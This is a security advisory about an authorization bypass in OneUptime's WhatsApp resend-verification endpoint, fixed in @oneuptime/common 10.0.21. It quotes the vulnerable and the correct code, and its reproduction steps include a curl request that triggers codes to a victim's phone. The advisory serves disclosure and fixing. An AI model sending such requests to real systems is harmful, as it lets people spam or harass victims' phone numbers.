OneUptime has WhatsApp Resend Verification Authorization Bypass
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @oneuptime/common | < 10.0.21 | 10.0.21 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Description
The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any `UserWhatsApp` record by ID. Ownership is not validated (unlike the verify endpoint).
### Affected Source
- Endpoint: [UserWhatsAppAPI.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L129-L153)
- Service: [UserWhatsAppService.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L129-L153)
- Verify ownership (present in verify endpoint for comparison): [UserWhatsAppAPI.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L78-L87)
### Full Code Lines (UserWhatsAppAPI.ts)
Resend path (authorization gap):
```ts
this.router.post(
`${new this.entityType()
.getCrudApiPath()
?.toString()}/resend-verification-code`,
UserMiddleware.getUserMiddleware,
async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
try {
req = req as OneUptimeRequest;
if (!req.body.itemId) {
return Response.sendErrorResponse(
req,
res,
new BadDataException("Invalid item ID"),
);
}
await this.service.resendVerificationCode(req.body.itemId);
return Response.sendEmptySuccessResponse(req, res);
} catch (err) {
return next(err);
}
},
);
```
Verify path (ownership check present):
```ts
if (
item.userId?.toString() !==
(req as OneUptimeRequest)?.userAuthorization?.userId?.toString()
) {
return Response.sendErrorResponse(
req,
res,
new BadDataException("Invalid user ID"),
);
}
```
## Prerequisites
- Valid attacker account with access to a project
- Attacker access token
- A victim’s `UserWhatsApp` itemId belonging to the same project
## Steps to Reproduce
1. Set your attacker token:
```bash
export ATK="Bearer <attacker-access-token>"
```
2. Trigger resend for the victim’s item:
```bash
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: $ATK" \
-d '{"itemId":"<victim-userwhatsapp-id>"}' \
http://<host>/api/user-whats-app/resend-verification-code
```
## Expected/Observed Behavior
- HTTP 200 with `{}` body and a new verification code sent to the victim’s phone
- No checks confirm that `item.userId` equals the authenticated user’s ID for the resend path
## Impact
- Spam/DoS against victims’ phone numbers, social engineering pressure, and potential lockout flows due to repeated resends
## Recommended Fix
- Enforce ownership: `item.userId` must match the authenticated user
- Add per-item and per-user rate limiting for resends
